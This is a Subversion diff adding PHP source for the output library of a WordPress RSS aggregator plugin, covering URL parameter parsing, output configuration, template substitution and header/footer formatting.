+						if($resultparas["profiler_enabled"] > 1) $pbaout['profiler']['Before formatitem ' . $resultrownumber]=microtime();
+						$formatteditem = PBALIB::formatitem($item, $resultparas, $itemtemplate, $resultrownumber, $itemvaluesneeded['result']);
+						if(!$resultparas['cacheid']>0) $pbaout['body'] .= $formatteditem['result']; //cache page made in footer!!!
+						if($resultparas["debug"]) $pbaout['debug'] .= $formatteditem['debug'];
+						$pbaout['firstitem_datefeed'] .= $formatteditem['firstitem_datefeed'];
+	      	}
+					if($resultparas["profiler_enabled"]) $pbaout['profiler']['After formatting items']=microtime();
+      	} // end if itemset, to do: fine error output, when no row found
+      } //end if($id_result), to do: fine error output, when no row found
+      
+    } //end if (!$resultparas['kalreq'] && !$resultparas['displayonlybox'])
+
+
+    if(!$resultparas['cacheid']>0) $formatteditem = false; // we need these items only for cache displaying
+    //make a header
+    if(!$resultparas['cacheid']>0 && !$resultparas['kalreq'] && !$resultparas['displayonlybox'] 
+    	&& !($resultparas['suppressheaderonpage1'] == 'Y' && $resultparas['pagetype'] == 'startpage')
+    	) {
+      $headertemplate=PBALIB::preprocess_headertemplate(&$resultparas, &$pbaout);
+      $formattedheader = PBALIB::formatheader($resultparas, $pbaout, false, false, $headertemplate);
+		  $pbaout['header'] = $formattedheader['result'];
+		  if($resultparas["debug"]) $pbaout['debug'] .= $formattedheader['debug'];
+		}
+
+    //make a footer
+    if(!$resultparas['displayonlybox']) {
+    	if(!$footertemplate) $footertemplate=PBALIB::preprocess_headertemplate(&$resultparas, &$pbaout, true);
+    	$formattedfooter = PBALIB::formatheader($resultparas, $pbaout, true, $formatteditem, $footertemplate);
+			$pbaout['footer'] = $formattedfooter['result'];
+			if($resultparas["debug"]) $pbaout['debug'] .= $formattedfooter['debug'];
+		}
+
+		//some more output
+		$pbaout['searchphrase']=$resultparas['searchphrase'];
+		$pbaout['archivdate']=$resultparas['archivdate'];
+		$pbaout['feedhref']=$resultparas['feedhref'];
+		$pbaout['feedlisthref']=$resultparas['feedlisthref'];
+		$pbaout['feedopmlhref']=$resultparas['feedopmlhref'];
+		$pbaout['kalreq']=$resultparas['kalreq'];
+		$pbaout['cacheid']=$resultparas['cacheid'];
+
+    $pbaout['result']=$pbaout['header'] . $pbaout['body'] . $pbaout['footer'];
+    if(strlen($pbaout['error']) >0) $pbaout['result'] .= str_replace('###ERRORMESSAGE###', $pbaout['error'], $resultparas['template_error']);
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']=PBALIB::process_profiler($pbaout['profiler']);
+
+		if($resultparas['pba_full_cache_time'] > 0) {
+			$pba_cachereturn=PBALIB::pba_cache($fullcache[0], $pbaout, 'write', 'full', 'mixed', 0, 'OK');
+			if($resultparas["debug"] && $pba_cachereturn) $pbaout['debug'] .= "\n<br>Wrote cache: full"; 
+		}
+
+    return $pbaout;
+  } // end of new output function
+
+}
+
+require_once(dirname(__FILE__) . '/pba_output_library.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_library.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_library.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_library.php	(revision 44)
@@ -0,0 +1,1437 @@
+<?php
+
+class PBALIB extends BDPRSS2
+{
+
+//this class is a collection of the following functions
+////functions with parameter definitions
+//		function getdefaultparameter(){ -- moved to get_pbadefaultparameter in pba-defaultparameter__LANG__.php
+//		function get_para_definition(){
+//		function geturlparameter(){
+//		function getoutputconfigparameter($outputid=1){
+//		function process_superparameter($superparameter){
+//		function bootstrap_parameters($firstparafromfunctioncall){
+//
+////functions needed for debugging
+//  	function get_r($invar){
+//  	function process_profiler($profilerarray=array()){
+//
+////functions to process templates
+//		function template_replacements($template, &$replacements){
+//		function split_template($template, $bodytag=false){
+//		function process_template_conditions($processed_template="", $conditionarray=array()){
+//		function preprocess_headertemplate(&$resultparas, &$pbaout, $footer=false){
+//  	function formatheader(&$resultparas, &$pbaout, $footer=false, $formatteditem=false){
+//	  function preprocess_itemtemplate(&$resultparas){
+//  	function formatitem(&$item, &$resultparas, $resultrownumber){
+//
+////functions to generate href values
+//		function makesearchactionhref(&$resultparas){
+//		function makehiddenformvalues(&$resultparas){
+//		function makecachehref(&$resultparas, $itemid){
+//		function makefeedhref(&$resultparas){
+//		function makehtmlhref(&$resultparas){
+//		function makelastpagehref($lastpage, &$resultparas){
+//		function makenextpagehref($nextpage, &$resultparas){
+//		function makedatepagehref($thedate="", &$resultparas, $regardkalenderlinkpart=false, $forcekalender=false){
+//
+////functions to generate boxes with content
+//		function formatted_feedlist(&$resultparas, $liststyle="sidebar"){
+//		function formatkalender($kalenderdates, &$resultparas, $thedate="", &$pbaout){
+//
+//
+////helper functions
+//		function analysepagetype(&$resultparas){
+//		function analyze_needed_boxes($rawtemplate){
+//		function makebox($boxtomake, &$resultparas, &$pbaout){
+//		function processtagset($tagsetfromdb){
+//		function gettheage($seconds, &$resultparas=false, &$ageunitsstring=false){
+//		function pba_cache(&$identifier, &$cache_content, $cache_mode='get', $name='c', $type='mixed', $cache_max_time=180, $serverstatus='OK'){
+
+//functions with parameter definitions
+	function get_para_definition(){
+		//outcommenting or setting values to false will disable parameters from url
+
+    //list all possible url parameters for looping through
+    $paralist["url"]["outputid"]=true; //forbidden anyway by default
+    $paralist["url"]["searchphrase"]=true;
+    $paralist["url"]["feedrequest"]=true;
+    $paralist["url"]['opmlrequest']=true;
+    $paralist["url"]['feedlistrequest']=true;
+    $paralist["url"]["tickerpage"]=true;
+    $paralist["url"]["archivdate"]=true;
+    $paralist["url"]["maxitems"]=true;
+    $paralist["url"]["listid"]=true; //forbidden anyway by default, may be opened by function call or later by config
+    $paralist["url"]["kalreq"]=true;
+    $paralist["url"]["cacheid"]=true;
+    $paralist["url"]['srequri']=true; //this is the base url
+
+		return $paralist;
+	}
+
+  function geturlparameter(){
+    
+    global $post;
+    if(function_exists('get_page_link')){
+    	$stripped_guid=get_page_link();
+    	if(!strstr($stripped_guid,'?') 
+    		&& !preg_match('/\/$/',$stripped_guid)
+    		) $stripped_guid = $stripped_guid . '/';
+	    $stripped_guid=str_replace($_SERVER['HTTP_HOST'],'',str_replace(array('http://','https://'),'',$stripped_guid));
+    }else{
+	    $stripped_guid=str_replace($_SERVER['HTTP_HOST'],'',str_replace(array('http://','https://'),'',$post->guid));
+    }
+    $sanitized_request_uri= substr($_SERVER['REQUEST_URI'],strlen($stripped_guid));
+
+//    echo "<br>stripped_guid: " . $stripped_guid;
+//    echo "<br>request_uri: " . $_SERVER['REQUEST_URI'];
+//    echo "<br>sanitized_request_uri: " . $sanitized_request_uri;
+    
+    //searchphrase
+    $paras['searchphrase']="";
+    $paras['feedrequest']=false;
+    $paras['opmlrequest']=false;
+    $paras['feedlistrequest']=false;
+    $paras['kalreq']=false;
+    $paras['tickerpage']=1;
+    $paras['cacheid']=false;
+    $paras['archivdate']=false;
+    $paras['outputid']=false;
+    $paras['srequri']=$sanitized_request_uri;
+    
+    if(preg_match("/^opml\//", $sanitized_request_uri)){
+      $paras['opmlrequest']=true;
+    }elseif(preg_match("/^feedlist\//", $sanitized_request_uri)){
+      $paras['feedlistrequest']=true;
+    }elseif(preg_match("/^ticker-feed\//", $sanitized_request_uri)){
+      $paras['feedrequest']=true;
+    }elseif(preg_match("/^tickerpage\/([0-9]+)?\//", $sanitized_request_uri, $pagetemp)){
+      if(preg_match("/^[0-9]+$/",$pagetemp[1])) {
+        $paras['tickerpage']=abs(intval($pagetemp[1]));
+        if($paras['tickerpage']<1) $paras['tickerpage']=1;
+      }
+    }elseif(preg_match("/^[kc]alend[ea]r\/([0-9]{4,4}-[0-9]{2,2}-[0-9]{2,2})?\/?/", $sanitized_request_uri, $kalendertemp)){
+      $paras['kalreq']=true;
+      if(preg_match("/^[0-9]{4,4}-[0-9]{2,2}-[0-9]{2,2}$/",$kalendertemp[1])) $paras['archivdate'] = $kalendertemp[1];
+    }elseif(isset($_GET['kalender'])||isset($_GET['calendar'])){
+      $paras['kalreq']=true;
+    }elseif(isset($_GET['opml'])){
+      $paras['opmlrequest']=true;
+    }elseif(isset($_GET['feedlist'])){
+      $paras['feedlistrequest']=true;
+    }elseif(preg_match("/^([0-9]+)\//", $sanitized_request_uri, $cachetemp)){
+      $paras['cacheid']=abs(intval($cachetemp[1]));
+    }elseif(isset($_GET['cacheid'])){
+      $paras['cacheid']=abs(intval($_GET['cacheid']));
+    }elseif(preg_match("/([0-9]{4,4}-[0-9]{2,2}-[0-9]{2,2})(\/tickerpage\/)?([0-9]+)?\/(feed\/)?/", $sanitized_request_uri, $datetemp)) {
+      if(strstr($datetemp[2] . $datetemp[3]. $datetemp[4],'feed')) $paras['feedrequest']=true;
+      $paras['archivdate']=$datetemp[1];
+      if(preg_match("/^[0-9]+$/",$datetemp[3])) {
+        $paras['tickerpage']=abs(intval($datetemp[3]));
+        if($paras['tickerpage']<1) $paras['tickerpage']=1;
+      }
+    }elseif(preg_match("/^s\/([a-zA-Z0-9-+%_]+)(\/tickerpage\/)?([0-9]+)?\/(feed\/)?/", $sanitized_request_uri, $searchtemp)){
+      $paras['searchphrase']=utf8_encode(urldecode(str_replace("_","+",$searchtemp[1])));
+      if(strstr($searchtemp[2] . $searchtemp[3]. $searchtemp[4],'feed')) $paras['feedrequest']=true;
+      if(preg_match("/^[0-9]+$/",$searchtemp[3])) {
+        $paras['tickerpage']=abs(intval($searchtemp[3]));
+        if($paras['tickerpage']<1) $paras['tickerpage']=1;
+      }
+    }elseif(isset($_GET['searchphrase'])){
+      $paras['searchphrase']=stripslashes($_GET['searchphrase']);
+      $paras['searchphrase']=utf8_encode(urldecode(str_replace("_","+",$paras['searchphrase'])));
+    }
+    if(!$paras['cacheid'] && !$paras['kalreq']) {
+      if(isset($_GET['feed'])) $paras['feedrequest'] = true;
+      if(isset($_GET['tickerpage']) && abs(intval($_GET['tickerpage'])) > 0) $paras['tickerpage'] = abs(intval($_GET['tickerpage']));
+    }
+    if(!$paras['cacheid']){
+      if(isset($_GET['bdprssarchivedate'])) {
+        if(preg_match("/([0-9]{4,4}-[0-9]{2,2}-[0-9]{2,2})/", $_GET['bdprssarchivedate'], $badtemp)) $paras['archivdate'] = $badtemp[1];
+      }elseif(isset($_GET['itemdate'])) {
+  	    if(preg_match("/([0-9]{4,4}-[0-9]{2,2}-[0-9]{2,2})/", $_GET['itemdate'], $badtemp)) $paras['archivdate'] = $badtemp[1];
+    	}
+    }
+
+//echo "itemdate: " . $_GET['itemdate'];
+//echo "archivdate: " . $paras['archivdate'];
+
+    if(isset($_GET['bdprsslist'])) $paras['outputid']=abs(intval($_GET['bdprsslist']));
+
+    //search parameter possible in GET: $search_phrase, $start=0, $max=10, $list_id=0, $itemdate="", $feed="", item_id
+    //output parameter possible in GET: page, outputformat
+    
+    //parameter directly possible in url: search_phrase, itemdate, item_id, page, calendar
+    //indirect parameter in url: list, max
+
+    return $paras;
+  }
+
+  function getoutputconfigparameter(&$resultparas){
+		//just overloading $resultparas for speed, not changing
+		global $bdprss_db, $post;
+		
+		if($resultparas['getoutputconfigbypageid']===true){
+			if(abs(intval($post->ID))>0){
+				$outputinfo = $bdprss_db->get_pbaoutput_from_page_id(abs(intval($post->ID)));
+			}
+		}else{
+			$outputid=$resultparas['outputid'];
+			$outputinfo = $bdprss_db->get_pbaoutput(abs(intval($outputid)));
+		}
+
+		if(!isset($outputinfo->{$bdprss_db->pbaoidentifier})){
+			return false;
+		}
+
+//item selection
+    $configparas["outputid"]=abs(intval($outputinfo->{$bdprss_db->pbaoidentifier}));
+		$configparas['outputname']=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbaoname});
+    $configparas["page2hookin"]=abs(intval($outputinfo->page2hookin));
+
+    $configparas["listid"]=abs(intval($outputinfo->{$bdprss_db->pbaodefaultlist}));
+    $configparas["maxitems"]=abs(intval($outputinfo->{$bdprss_db->pbaomaxitems}));
+    $configparas["formattype"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbaoformattype});
+
+//item page formatting
+		$configparas["template_ticker"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbaotemplate_ticker});
+		$extralinkhelper=$outputinfo->{$bdprss_db->pbaoappend_extra_link};
+		if($extralinkhelper != 'Y') $configparas['noextralink']= 'Y';
+		$configparas["append_cache_link"]=$outputinfo->{$bdprss_db->pbaoappend_cache_link};
+		$configparas["add_social_bookmarks"]=$outputinfo->{$bdprss_db->pbaoadd_social_bookmarks};
+
+//item formatting
+		$configparas['maxbodylength']= abs(intval($outputinfo->{$bdprss_db->pbaomaxlength}));
+		$configparas['maxwordlength']= abs(intval($outputinfo->{$bdprss_db->pbaomaxwordlength}));
+		$configparas["itemdateformat"]= BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbaoitem_date_format});
+		$configparas["tagset"]= BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbaoallowablexhtmltags});
+
+//widget paras
+		$configparas['template_sidebarwidget'] = BDPRSS2::codeQuotes($outputinfo->template_sidebarwidget);
+
+//cache page options
+    $configparas["iscachable"] = $outputinfo->{$bdprss_db->pbaoiscachable};
+		$configparas["template_cache"]=BDPRSS2::codeQuotes($outputinfo->template_cache);
+    $configparas["cacheviewpage"]= BDPRSS2::codeQuotes($outputinfo->cache_view_page);
+
+//feed options
+    $configparas["channel_title"]= BDPRSS2::codeQuotes($outputinfo->channel_title);
+    $configparas["htmlpage"]= BDPRSS2::codeQuotes($outputinfo->channel_link);
+    $configparas["channel_description"]= BDPRSS2::codeQuotes($outputinfo->channel_description);
+    $configparas["channel_language"]= BDPRSS2::codeQuotes($outputinfo->channel_language);
+    $configparas["channel_copyright"]= BDPRSS2::codeQuotes($outputinfo->channel_copyright);
+
+//kalender options
+		$configparas["template_kalender"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->otemplate_kalender});
+		$configparas["archive_date_format"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->oarchive_date_format});
+		$configparas["kalendermonthslist"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->okalendermonthslist});
+		$configparas["kalenderboxtablecaption"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->okalenderboxtablecaption});
+		$configparas["kalender_last"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->okalender_last});
+		$configparas["kalender_next"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->okalender_next});
+		$configparas["kalenderboxdaysofweeklist"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->okalenderboxdaysofweeklist});
+
+		if($bdprss_db->serverstatus['pbacache']['status']=='ok'){
+			if(isset($bdprss_db->serverstatus['full_cache_time']['notice'])) $configparas["pba_full_cache_time"]=$bdprss_db->serverstatus['full_cache_time']['notice'];
+			if(isset($bdprss_db->serverstatus['kalenderquery_cache_time']['notice'])) $configparas["pba_kalenderquery_cache_time"]=$bdprss_db->serverstatus['kalenderquery_cache_time']['notice'];
+			if(isset($bdprss_db->serverstatus['feedlistquery_cache_time']['notice'])) $configparas["pba_feedlistquery_cache_time"]=$bdprss_db->serverstatus['Delete   	feedlistquery_cache_time']['notice'];
+		}
+		if(isset($bdprss_db->serverstatus['rewriting']['status'])) $configparas["short_cache_link"] = ($bdprss_db->serverstatus['rewriting']['status']=='ok');
+
+		$configparas["superparameter"]=BDPRSS2::codeQuotes($outputinfo->{$bdprss_db->pbao_superparameter});
+
+		$superparameterarray=PBALIB::process_superparameter($configparas["superparameter"]);
+		foreach($superparameterarray as $paraname => $paravalue){
+			$configparas[$paraname]=$paravalue;
+		}
+		unset ($configparas["superparameter"]);
+
+		return $configparas;
+	}
+
+	function process_superparameter($superparameter=""){
+		$superparameterarray=array();
+		preg_match_all("'###SUPERPARAMETER_([A-Za-z0-9_-]+?)_BEGIN###(.*?)###SUPERPARAMETER_[A-Za-z0-9_-]*?END###'s", $superparameter, $match);
+		//print_r($match);
+		if(is_array($match) && isset($match[1]) && isset($match[2])){
+			foreach($match[1] as $match1key => $match1value){
+				//echo "<br>matchkey is : " . $matchkey . "value is: ";
+				if(trim($match[2][$match1key]) == "false") {
+					$superparameterarray[$match1value]=false;
+				}elseif(trim($match[2][$match1key]) == "true"){
+					$superparameterarray[$match1value]=true;
+				}else{
+					$superparameterarray[$match1value]=$match[2][$match1key];
+				}
+			}
+			//print_r($superparameterarray);
+		}
+		return $superparameterarray;
+	}
+
+  function bootstrap_parameters($firstparafromfunctioncall){
+  	global $post;
+  	
+		//initialize all neeeded parameters with default values
+    $resultparas=get_pbadefaultparameter();
+		//get lists in array to name all possible parameters for looping through
+    $paralist=PBALIB::get_para_definition();
+
+		$resultparas['url2plugindir'] = get_option('home') . '/wp-content/plugins/'.PBA_DIRECTORY.'/';
+
+    //$pbaout['debug'] .= "\n<br>Debug: Default resultparas: " . PBALIB::get_r($resultparas); 
+
+		//get function call parameters
+    if(is_array($firstparafromfunctioncall)) $funcdefparas=$firstparafromfunctioncall;
+
+		//'N' meaning not set used for backward compatibility
+		//stupid idea? we possibly may use false to overwrite the maxitems in function call
+    if($funcdefparas["maxitems"] == 'N') unset($funcdefparas["maxitems"]);
+
+		//we have got all parameters from function call now and normalized them
+    //$pbaout['debug'] .= "\n<br>Debug: funcdefparas: " . PBALIB::get_r($funcdefparas); 
+
+//if exist, we overwrite default output id paras with paras from func call, do other later
+//we unset the output id function parameters, so they will not overwrite config parameter values later
+    if(isset($funcdefparas['outputid'])) {
+    	$resultparas['outputid'] = $funcdefparas['outputid'];
+    }else{
+    	if(isset($funcdefparas['getoutputconfigbypageid'])) $resultparas['getoutputconfigbypageid'] = $funcdefparas['getoutputconfigbypageid'];
+    }
+		unset($funcdefparas["outputid"]);
+		unset($funcdefparas['getoutputconfigbypageid']);
+    if(isset($funcdefparas['outputidfromurlallowed'])) $resultparas['outputidfromurlallowed'] = $funcdefparas['outputidfromurlallowed'];
+		unset($funcdefparas["outputidfromurlallowed"]);
+		
+
+		//get parameters from url
+    $urlparas=PBALIB::geturlparameter();
+    //$pbaout['debug'] .= "\n<br>Debug: urlparas: " . PBALIB::get_r($urlparas); 
+
+    //now let's apply limits to url parameter output_id and find out the output id to take
+		//first normalize output id parameter from url - check other values later
+		$urlparas['outputid']=abs(intval($urlparas['outputid']));
+		if(!$urlparas['outputid']>0) unset($urlparas['outputid']);
+
+    if($resultparas['outputidfromurlallowed'] === false){
+      unset($urlparas['outputid']);
+    }elseif($resultparas['outputidfromurlallowed'] !== true){
+      if(!strstr("," . str_replace(" ", '', $resultparas['outputidfromurlallowed']) . ",", $urlparas['outputid'])) unset($urlparas['outputid']);
+    }
+    if(isset($urlparas['outputid'])) $resultparas['outputid'] = intval($urlparas['outputid']);
+    
+    //now we know, which output definition we have to take from db -> let's get it
+  	$configparas=PBALIB::getoutputconfigparameter($resultparas);
+    if(!is_array($configparas)) {
+    	return false;
+    }
+
+	  if(function_exists('get_page_link')){
+	  	if($funcdefparas['show_sidebarwidget'] == 'Y'
+	  		&& $configparas['page2hookin'] > 0){
+	  		$resultparas['baseurl']=get_page_link($configparas['page2hookin']);
+	  		$resultparas['search_page_baseurl']="";
+	  	}else{
+	  		$resultparas['baseurl']=get_page_link();
+	  	}
+	  	if(!strstr($resultparas['baseurl'],'?') 
+	  		&& !preg_match('/\/$/',$resultparas['baseurl'])
+	  		) $resultparas['baseurl'] = $resultparas['baseurl'] . '/';
+	  }else{
+	  	$resultparas['baseurl'] = $post->guid;
+	  }
+		if($resultparas['search_page_baseurl']=="") $resultparas['search_page_baseurl'] = $resultparas['baseurl'];
+		if($resultparas['htmlpage']=="")$resultparas['htmlpage'] = $resultparas['baseurl'];
+    if($configparas["htmlpage"]=="") unset($configparas["htmlpage"]); //this will make the default post->guid be used
+
+    //copy config paras over default paras
+    if($configparas){
+	    foreach($configparas as $paraname => $paravalue){
+	    	$resultparas[$paraname]=$paravalue;
+	    }
+		}
+
+    //copy func defined paras over default paras
+    if($funcdefparas){
+	    foreach($funcdefparas as $paraname => $paravalue){
+	    	$resultparas[$paraname]=$paravalue;
+	    }
+		}
+
+		//check if we want to show a sidebar
+		if($resultparas['show_sidebarwidget'] == 'Y'){
+			$resultparas['template_ticker']=$resultparas['template_sidebarwidget'];
+      $resultparas["add_social_bookmarks"]='N';
+      unset($urlparas['searchphrase']);
+      unset($urlparas['cacheid']);
+      unset($urlparas['kalreq']);
+		}
+
+    //to be completed filter url parameter to allowed values
+    if($resultparas['listidfromurlallowed'] === false){
+      unset($urlparas['listid']);
+    }elseif($resultparas['listidfromurlallowed'] !== true){
+      if(!strstr("," . str_replace(" ", '', $resultparas['listidfromurlallowed']) . ",", $urlparas['listid'])) unset($urlparas['listid']);
+    }
+		if($urlparas['kalreq'] === false) unset($paralist["url"]["kalreq"]);
+		if($urlparas['feedrequest'] === false) unset($paralist["url"]["feedrequest"]);
+    if($resultparas['searchenabled']){
+    	$resultparas['searchactionhref'] = PBALIB::makesearchactionhref($resultparas);
+    	$resultparas['hiddensearchformformvalues'] = PBALIB::makehiddenformvalues($resultparas);
+    	$urlparas['searchphrase']=utf8_decode($urlparas['searchphrase']);
+    }else{
+    	unset($urlparas['searchphrase']);
+    	$resultparas['template_search_box']="";
+    }
+
+    //copy url paras over result got by funcdef paras copying
+    foreach($paralist["url"] as $paraname => $paravalue){
+    	if(isset($urlparas[$paraname])){
+    		if($paravalue) $resultparas[$paraname]=$urlparas[$paraname]; //false means not overwriting !!!
+    	}
+    }
+		return $resultparas;
+	}
+
+//functions needed for debugging
+  function get_r($invar){
+    ob_start();
+    print_r($invar);
+    $outvar = ob_get_contents();
+    ob_end_clean();
+    return $outvar;
+  }
+
+  function process_profiler($profilerarray=array()){
+		$profilerself['Profiler reached at']=microtime();
+  	$profilerarray=array_merge($profilerarray, $profilerself);
+  	$precision=4;
+  	$first=true;
+  	$counter=0;
+  	$outstring="\nOutput from Profiler:";
+  	foreach($profilerarray as $point => $microtimer){
+  		$timearray = explode(" ", $microtimer);
+    	$microtimestamp = (substr($timearray[1],6,4) + substr($timearray[0],0,$precision + 2));
+    	if($first) { $starttime = $microtimestamp; $last=$microtimestamp; $first=false; $outstring .= "<table>"; }
+  		$outstring .= "<tr>\n<td>Checkpoint: " . $point . 
+  			"</td><td> Time: " . substr($timearray[1],0,6) . $microtimestamp . 
+  			"</td><td> Diff: "  . round($microtimestamp - $last,$precision) .
+  			"</td><td> Total: "  . round($microtimestamp - $starttime,$precision) . "</td>\n</tr>";
+    	$last=$microtimestamp;
+  	}
+  	$outstring .= "</table>";
+  	return $outstring;
+  }
+
+//functions to process page templates
+	function template_replacements($template, &$replacements){
+		//we will not change input values, but pass replacements like eg resultparas by reference parameters to be quick, 
+		//is it really neccessary? or will the php optimizer understand itself not to pass variables as value, 
+		//until the value is not changed?
+		preg_match_all('/###[0-9A-Z_]+###/', $template, $uppertags);
+		foreach($uppertags[0] as $key => $uppertag){
+			$tag=str_replace('#','',strtolower($uppertag));
+			if(isset($replacements[$tag])) {
+				$needle[]=$uppertag;
+				$replace[]=$replacements[$tag];
+			}
+		}
+		$processed_template=str_replace($needle, $replace, $template);
+		return $processed_template;
+	}
+
+	function split_template($template, $bodytag=false, $looptag='LOOP', $headeronly=false){
+		if($bodytag===false) $bodytag = '###INSIDELOOP###';
+		$split_template['aroundloop']=preg_replace('/###'.$looptag.'BEGIN###.*?###'.$looptag.'END###/s',$bodytag,$template);
+		preg_match("'(.*)###".$looptag."BEGIN###(.*?)###".$looptag."END###(.*)'s", $template, $match);
+		$split_template['beforeloop']=$match[1];
+		$split_template['inloop']=$match[2];
+		$split_template['postloop']=$match[3];
+		if($headeronly=="header"){
+			return $split_template['beforeloop'];
+		}elseif($headeronly=="footer"){
+			return $split_template['postloop'];
+		}elseif($headeronly=="body"){
+			return $split_template['inloop'];
+		}elseif($headeronly=="aroundloop"){
+			return $split_template['aroundloop'];
+		}
+		return $split_template;
+	}
+
+	function process_template_conditions($processed_template="", $conditionarray=array()){
+		foreach($conditionarray as $value){
+			$conditionaltag=$value['tag'];
+			$expression=$value['expression'];
+			if($expression !== true) $expression = false;
+			if($expression) {
+				$conditionaltagarray=array('###'.$conditionaltag.'BEGIN###', '###'.$conditionaltag.'END###');
+				$processed_template = str_replace($conditionaltagarray , '', $processed_template);
+			} else {
+				$processed_template=PBALIB::split_template($processed_template, '', $conditionaltag, 'aroundloop');
+			}
+		}
+		return $processed_template;
+	}
+
+	function preprocess_headertemplate(&$resultparas, &$pbaout, $footer=false){
+		$pre="pre";
+		if($footer) $pre="post";
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['Start making a ' . $pre . ' header']=microtime();
+		if($resultparas['kalreq']) {
+  		$pbaheader = $resultparas['template_' . $resultparas['template']];
+		}elseif($resultparas['pagetype'] == 'cachepage'){
+			$pbaheader = $resultparas['template_' . $resultparas['template']];
+		}elseif($resultparas['feedrequest']) {
+			$pbaheader_tmp = $resultparas['template_' . $resultparas['template']];
+			$headeronly="header";
+			if($footer) $headeronly="footer";
+			$pbaheader = PBALIB::split_template($pbaheader_tmp, false, 'LOOP', $headeronly);
+			//	  $pbaheader=$resultparas[$pre . '_loop_feedtemplate'];
+		} else {
+			$pbaheader_tmp = $resultparas['template_' . $resultparas['template']];
+			$headeronly="header";
+			if($footer) $headeronly="footer";
+			$pbaheader = PBALIB::split_template($pbaheader_tmp, false, 'LOOP', $headeronly);
+			//		$pbaheader=$resultparas[$pre . '_loop_template'];
+			if($footer && $resultparas['add_social_bookmarks']=="Y") {
+				//this looks stupid, why to format it here?
+			  $pbaheader = str_replace('###URL2PLUGINDIR###' , $resultparas['url2plugindir'], $resultparas['headersbtemplate']) . $pbaheader;
+			}
+		}
+
+		//first let's cut out the condional parts, where the condition is false
+		//Syntax: $conditionarray[]=array('tag' =>'MYCONDITIONALTAG','expression' => (true));
+		
+		//why to use such sloppy conditions here - haven't we calculated pagetype for this?
+		$conditionarray[]=array('tag' =>'ISSEARCH','expression' => ($resultparas['searchphrase'] !=""));
+		$conditionarray[]=array('tag' =>'ISDATE','expression' => ($resultparas['archivdate']!=""));
+		$conditionarray[]=array('tag' =>'ISNODATENOSEARCH','expression' => ($resultparas['searchphrase'] =="" && $resultparas['archivdate']==""));
+		$conditionarray[]=array('tag' =>'LASTLINK','expression' => ($pbaout['lastpageexists']));
+		$conditionarray[]=array('tag' =>'NEXTLINK','expression' => ($pbaout['nextpageexists']));
+		
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: conditionarray: " . PBALIB::get_r($conditionarray); 
+		$pbaheader=PBALIB::process_template_conditions($pbaheader, $conditionarray);
+
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: See the pbaheader: " . PBALIB::get_r($pbaheader); 
+
+		return $pbaheader;
+	}
+
+  function formatheader(&$resultparas, &$pbaout, $footer=false, $formatteditem=false, $pbaheader){
+
+    //will see later if we need more paras
+
+		//variables we understand
+		if($resultparas['cacheid']>0) $formattedheader = $formatteditem; //copy over variables from loop to understand them here
+		$formattedheader['searchphrase']=$resultparas['searchphrase']; 
+		$formattedheader['archivedate']=$resultparas['archivdate']; 
+		$formattedheader['feedhref']=$resultparas['feedhref'];
+		$formattedheader['founditems']=$pbaout['founditems'];
+		$formattedheader['startitem']=$pbaout['startitem'];
+		$formattedheader['lastitem']=$pbaout['lastitem'];
+		$formattedheader['lastpage']=$pbaout['lastpage'];
+		$formattedheader['nextpage']=$pbaout['nextpage'];
+		$formattedheader['lastpagehref']=$pbaout['lastpagehref'];
+		$formattedheader['nextpagehref']=$pbaout['nextpagehref'];
+		$formattedheader['kalenderhref']=$resultparas['kalenderhref'];
+		$formattedheader['feedlisthref']=$resultparas['feedlisthref'];
+		$formattedheader['feedopmlhref']=$resultparas['feedopmlhref'];
+		$formattedheader['outputname']=$resultparas['outputname'];
+
+		$formattedheader['channel_title']=$resultparas["channel_title"];
+    $formattedheader['htmlpage']=$resultparas["htmlpage"];
+    $formattedheader['channel_description']=$resultparas["channel_description"];
+    $formattedheader['channel_language']=$resultparas["channel_language"];
+    $formattedheader['channel_copyright']=$resultparas["channel_copyright"];
+		$formattedheader['firstitem_datefeed']= $pbaout['firstitem_datefeed'];
+		$formattedheader['htmlhref']= $resultparas['htmlhref'];
+		$formattedheader['baseurl']=$resultparas['baseurl'];
+		$formattedheader['pba_version']= PBA_PRODUCT . " " . PBA_VERSION;
+		
+		$formattedheader['kalenderdate']=$pbaout['kalenderdate'];
+
+		//boxes we understand
+		$formattedheader['kalenderlist_box']=$pbaout['kalenderlist_box'];
+		$formattedheader['kalender_box']=$pbaout['kalender_box'];
+		$formattedheader['feedlistsidebar_box']=$pbaout['feedlistsidebar_box'];
+		$formattedheader['search_box']=$pbaout['search_box'];
+
+		//now do the final replacements
+		foreach($formattedheader as $key => $value){
+		  $needle[$key]="###" . strtoupper($key) . "###";
+			//echo $needle[$key] . "\n"; //take this to find out with variables the engine understands
+		  $replace[$key]=$value;
+		}
+
+//		if($pre=="post" && $resultparas["debug"]) $pbaout['debug1'] .= "\n<br>Debug: See the needles: " . PBALIB::get_r($needle); 
+//		if($pre=="post" && $resultparas["debug"]) $pbaout['debug1'] .= "\n<br>Debug: See the replaces: " . PBALIB::get_r($replace); 
+//		if($pre=="post" && $resultparas["debug"]) $pbaout['debug1'] .= "\n<br>Debug: See the template: " . PBALIB::get_r($pbaheader); 
+		
+		$formattedheader['result']=str_replace($needle, $replace, $pbaheader);
+		return $formattedheader;
+  }
+
+  function preprocess_itemtemplate(&$resultparas){
+		//get the item template
+		if($resultparas['cacheid']>0){
